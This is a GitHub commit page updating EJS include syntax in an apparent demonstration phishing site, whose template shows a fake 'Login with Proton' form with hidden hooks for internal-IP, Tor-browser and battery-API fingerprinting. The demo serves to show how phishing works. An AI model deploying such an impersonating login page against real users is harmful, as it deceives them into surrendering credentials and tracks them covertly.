Skip to content

Commit

Permalink
fix: EJS issues
Browse files Browse the repository at this point in the history
Signed-off-by: Aravind V Nair <[email protected]>
  • Loading branch information
aravindvnair99 committed Apr 12, 2020
1 parent 0803836 commit 8d24ab9
Show file tree
Hide file tree
Showing 3 changed files with 18 additions and 17 deletions.
2 changes: 1 addition & 1 deletion functions/package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion functions/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
"title": "Phishing",
"name": "phishing",
"description": "Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords and credit card details by disguising as a trustworthy entity in an electronic communication. This is a demo of a phishing attack by a web site.",
"version": "2.2.2",
"version": "2.2.3",
"main": "index.js",
"keywords": [
"phishing",
Expand Down
31 changes: 16 additions & 15 deletions functions/views/index.ejs
Original file line number Diff line number Diff line change
@@ -1,25 +1,26 @@
<!DOCTYPE html>
<html>
<head>
<% include ga.ejs %> <% include links.ejs %> <% include meta.ejs %> <%
include css.ejs %> <% include scripts.ejs %> <% include trackers.ejs %>
<%- include('ga') -%> <%- include('links') -%> <%- include('meta') -%>
<%- include ('css') -%> <%- include('scripts') -%> <%-
include('trackers') -%>
</head>
<body>
<div hidden id="internalIP"></div>
<% include internalIP.ejs %>
<%- include('internalIP') -%>
<div hidden id="torBrowser"></div>
<div hidden id="updateChargeInfo"></div>
<div hidden id="updateLevelInfo"></div>
<div hidden id="updateChargingInfo"></div>
<div hidden id="updateDischargingInfo"></div>
<% include batteryAPI.ejs %> <% include torBrowser.ejs %>
<%- include('batteryAPI') -%> <%- include('torBrowser') -%>
<div class="container" id="LoginContainer">
<div class="row"></div>
<div id="login-page" class="row">
<div class="col s12 m2 l4"></div>
<div class="col s12 m8 l4 z-depth-4 card-panel">
<form class="login-form">
<div class="row ">
<div class="row">
<h4 class="center-align">Login with Proton</h4>
</div>
<div class="row margin">
Expand Down Expand Up @@ -49,7 +50,7 @@
</div>
</div>
<div class="row">
<div class="input-field col s12 ">
<div class="input-field col s12">
<a
onclick="toggleSignIn()"
class="btn waves-effect waves-light col s12"
Expand All @@ -75,22 +76,22 @@
</div>
</div>
<script type="text/javascript" src="js/materialize.min.js"></script>
<% include pwa.ejs %>
<%- include('pwa') -%>
<script>
$('.button-collapse').sideNav({
$(".button-collapse").sideNav({
menuWidth: 300, // Default is 300
edge: 'left', // Choose the horizontal origin
edge: "left", // Choose the horizontal origin
closeOnClick: true, // Closes side-nav on <a> clicks, useful for Angular/Meteor
draggable: true, // Choose whether you can drag to open on touch screens,
onOpen: function(el) {
onOpen: function (el) {
/* Do Stuff* / }, // A function to be called when sideNav is opened
onClose: function(el) { /* Do Stuff */
} // A function to be called when sideNav is closed
}, // A function to be called when sideNav is closed
});
$('.collapsible').collapsible();
$('.button-collapse').sideNav('hide');
$(document).ready(function() {
$('select').material_select();
$(".collapsible").collapsible();
$(".button-collapse").sideNav("hide");
$(document).ready(function () {
$("select").material_select();
});
</script>
</body>
Expand Down

0 comments on commit 8d24ab9

Please sign in to comment.